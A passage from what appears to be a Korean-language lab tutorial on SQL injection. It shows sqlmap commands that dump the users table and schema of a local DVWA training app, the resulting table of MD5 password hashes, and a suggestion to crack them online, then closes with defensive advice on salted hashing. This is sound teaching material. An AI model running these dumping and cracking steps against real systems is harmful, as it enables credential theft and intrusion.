획득한 데이터 분석
이 단계에서는 sqlmap 이 SQL 인젝션을 통해 성공적으로 추출한 민감한 데이터베이스 정보를 검토합니다. 이는 공격자가 정확히 어떤 데이터에 액세스할 수 있는지 보여줌으로써 SQL 인젝션 취약점의 실제 영향을 보여줍니다.
- 먼저, DVWA 데이터베이스의 'users' 테이블에서 모든 데이터를 검색해 보겠습니다. 이 명령은 이전에 수행한 작업을 기반으로 하지만, 이제는 자격 증명 정보를 확인하기 위해 users 테이블을 구체적으로 타겟팅합니다 (세션 쿠키로
<PHPSESSID>를 바꿉니다).
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa -T users --dump --batch
-D dvwa는 데이터베이스를 지정하고, -T users는 users 테이블을 타겟팅하며, --dump는 모든 내용을 검색합니다.
- 출력은 데이터베이스에 저장된 민감한 사용자 정보를 보여줍니다.
Database: dvwa
Table: users
[5 entries]
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| user_id | first_name | last_name | user | password | avatar | last_login | failed_login |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| 1 | admin | admin | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | admin.jpg | NULL | 0 |
| 2 | Gordon | Brown | gordonb | e99a18c428cb38d5f260853678922e03 | gordonb.jpg | NULL | 0 |
| 3 | Hack | Me | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | 1337.jpg | NULL | 0 |
| 4 | Pablo | Picasso | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | pablo.jpg | NULL | 0 |
| 5 | Bob | Smith | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | smithy.jpg | NULL | 0 |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
password 열에는 일반 텍스트 암호 대신 MD5 해시가 포함되어 있습니다. 이는 원시 암호를 저장하는 것보다 낫지만, MD5 는 암호화적으로 깨졌으며 레인보우 테이블 공격에 취약한 것으로 간주됩니다.
-
해시 값을 복사하여 붙여넣어 CrackStation 과 같은 온라인 도구를 사용하여 이러한 해시를 크래킹할 수 있습니다. 이는 약한 해싱 알고리즘을 역으로 사용하여 원래 암호를 노출할 수 있는 방법을 보여줍니다.
-
전체 데이터베이스 구조를 이해하기 위해 스키마를 검색할 수 있습니다.
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa --schema --batch
--schema 플래그는 모든 테이블과 해당 열 구조를 표시하여 공격자에게 전체 데이터베이스의 로드맵을 제공합니다. 이는 추가적인 악용을 위해 매우 중요한 정보입니다.
초보자를 위한 주요 내용:
--dump 매개변수는 지정된 테이블에서 모든 데이터를 추출합니다.
- MD5 해시는 사전 계산된 레인보우 테이블을 사용하여 종종 크래킹될 수 있습니다.
- 데이터베이스 스키마 정보는 공격자가 데이터 구조를 이해하는 데 도움이 됩니다.
- 이 연습은 단일 SQL 인젝션 취약점이 어떻게 전체 데이터베이스 손상으로 이어질 수 있는지 보여줍니다.
- 암호 저장에는 항상 bcrypt 와 같은 강력하고 salt 된 해싱 알고리즘을 사용하십시오.